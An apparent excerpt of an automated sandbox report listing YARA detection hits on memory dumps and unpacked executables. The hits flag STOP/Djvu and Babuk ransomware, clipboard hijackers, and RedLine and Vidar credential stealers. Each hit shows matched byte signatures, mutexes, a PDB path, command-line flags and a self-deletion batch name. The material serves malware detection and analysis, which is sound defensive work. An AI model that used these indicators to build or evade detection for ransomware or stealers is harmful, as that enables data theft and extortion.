00000004.00000002.2243904603.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000004.00000002.2243904603.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
00000001.00000002.1694613073.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000001.00000002.1694613073.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000001.00000002.1694613073.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
0000001D.00000002.2973232719.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
0000001D.00000002.2973232719.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x1e03:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
0000001D.00000002.2973232719.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x1afa:$mutex_setup: 55 8B EC 83 EC 18 53 56 57 E8 F8 F4 FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00 0x1b87:$new_line_check: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x1b87:$regex1: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x1ead:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x1f35:$regex3: 56 8B F1 56 FF 15 20 40 40 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
00000013.00000002.2019239112.0000000000850000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
00000013.00000002.2019239112.0000000000850000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x27a3:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
00000013.00000002.2019239112.0000000000850000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x249a:$mutex_setup: 55 8B EC 83 EC 18 53 56 57 E8 F8 F4 FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00 0x2527:$new_line_check: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x2527:$regex1: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x284d:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x28d5:$regex3: 56 8B F1 56 FF 15 20 40 40 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
0000001C.00000002.2974276962.00000000009A0000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x7034:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
0000000A.00000002.1913660685.0000000000810000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
0000000A.00000002.1913660685.0000000000810000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x27a3:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
0000000A.00000002.1913660685.0000000000810000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x249a:$mutex_setup: 55 8B EC 83 EC 18 53 56 57 E8 F8 F4 FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00 0x2527:$new_line_check: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x2527:$regex1: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x284d:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x28d5:$regex3: 56 8B F1 56 FF 15 20 40 40 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
00000010.00000002.1916720423.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
00000010.00000002.1916720423.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x1e03:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
00000010.00000002.1916720423.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x1afa:$mutex_setup: 55 8B EC 83 EC 18 53 56 57 E8 F8 F4 FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00 0x1b87:$new_line_check: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x1b87:$regex1: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x1ead:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x1f35:$regex3: 56 8B F1 56 FF 15 20 40 40 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
00000018.00000002.2116911139.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000018.00000002.2116911139.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000018.00000002.2116911139.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
00000006.00000002.4129272399.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000006.00000002.4129272399.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000006.00000002.4129272399.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
00000017.00000002.2105054288.00000000044CA000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x798:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000003.00000002.1701674378.0000000005DE0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000003.00000002.1701674378.0000000005DE0000.00000040.00001000.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105ac8:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xe38f:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000007.00000002.1787558327.0000000001ACE000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x1168:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000019.00000002.2350442166.0000000000990000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x7034:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000017.00000002.2105470149.0000000005ED0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000017.00000002.2105470149.0000000005ED0000.00000040.00001000.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105ac8:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xe38f:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
0000000A.00000002.1914065003.000000000098D000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x76ec:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
0000000B.00000002.1848123271.0000000005E70000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
0000000B.00000002.1848123271.0000000005E70000.00000040.00001000.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105ac8:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xe38f:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
0000000C.00000002.1864325643.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
0000000C.00000002.1864325643.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
0000000C.00000002.1864325643.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
0000001E.00000002.3584399204.00000000009E0000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x6ff4:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
Process Memory Space: SUwX12D2S6.exe PID: 7260	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: SUwX12D2S6.exe PID: 7260	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x31dfb:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: SUwX12D2S6.exe PID: 7276	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: SUwX12D2S6.exe PID: 7276	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x41a3e:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: SUwX12D2S6.exe PID: 7376	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: SUwX12D2S6.exe PID: 7376	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x4dad1:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: SUwX12D2S6.exe PID: 7396	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: SUwX12D2S6.exe PID: 7396	JoeSecurity_babuk	Yara detected Babuk Ransomware	Joe Security
Process Memory Space: SUwX12D2S6.exe PID: 7396	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x8f26ad:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: SUwX12D2S6.exe PID: 7460	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: SUwX12D2S6.exe PID: 7460	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x34bba:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: SUwX12D2S6.exe PID: 7488	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: SUwX12D2S6.exe PID: 7488	JoeSecurity_babuk	Yara detected Babuk Ransomware	Joe Security
Process Memory Space: SUwX12D2S6.exe PID: 7488	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x4febb:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: build2.exe PID: 7584	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: build2.exe PID: 7600	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: build2.exe PID: 7600	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: build2.exe PID: 7600	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: SUwX12D2S6.exe PID: 7772	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: SUwX12D2S6.exe PID: 7772	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x4a32f:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: SUwX12D2S6.exe PID: 7792	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: SUwX12D2S6.exe PID: 7792	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x5167d:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: SUwX12D2S6.exe PID: 7264	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: SUwX12D2S6.exe PID: 7264	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x4e4fb:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: SUwX12D2S6.exe PID: 7252	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: SUwX12D2S6.exe PID: 7252	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x404cc:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Click to see the 89 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
19.2.mstsca.exe.8515a0.1.unpack	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x603:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
19.2.mstsca.exe.8515a0.1.unpack	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x6ad:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x735:$regex3: 56 8B F1 56 FF 15 20 40 40 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
20.2.mstsca.exe.400000.0.unpack	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
20.2.mstsca.exe.400000.0.unpack	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x1203:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
20.2.mstsca.exe.400000.0.unpack	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0xefa:$mutex_setup: 55 8B EC 83 EC 18 53 56 57 E8 F8 F4 FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00 0xf87:$new_line_check: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0xf87:$regex1: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x12ad:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x1335:$regex3: 56 8B F1 56 FF 15 20 40 40 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
16.2.build3.exe.400000.0.unpack	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
16.2.build3.exe.400000.0.unpack	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x1203:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
16.2.build3.exe.400000.0.unpack	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0xefa:$mutex_setup: 55 8B EC 83 EC 18 53 56 57 E8 F8 F4 FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00 0xf87:$new_line_check: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0xf87:$regex1: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x12ad:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x1335:$regex3: 56 8B F1 56 FF 15 20 40 40 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
26.2.mstsca.exe.400000.0.unpack	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
26.2.mstsca.exe.400000.0.unpack	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x1203:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
26.2.mstsca.exe.400000.0.unpack	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0xefa:$mutex_setup: 55 8B EC 83 EC 18 53 56 57 E8 F8 F4 FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00 0xf87:$new_line_check: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0xf87:$regex1: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x12ad:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x1335:$regex3: 56 8B F1 56 FF 15 20 40 40 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
28.2.mstsca.exe.9715a0.1.raw.unpack	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
28.2.mstsca.exe.9715a0.1.raw.unpack	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x1203:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
28.2.mstsca.exe.9715a0.1.raw.unpack	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0xefa:$mutex_setup: 55 8B EC 83 EC 18 53 56 57 E8 F8 F4 FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00 0xf87:$new_line_check: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0xf87:$regex1: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x12ad:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x1335:$regex3: 56 8B F1 56 FF 15 20 40 40 00 83 F8 5F 0F 85 84 00 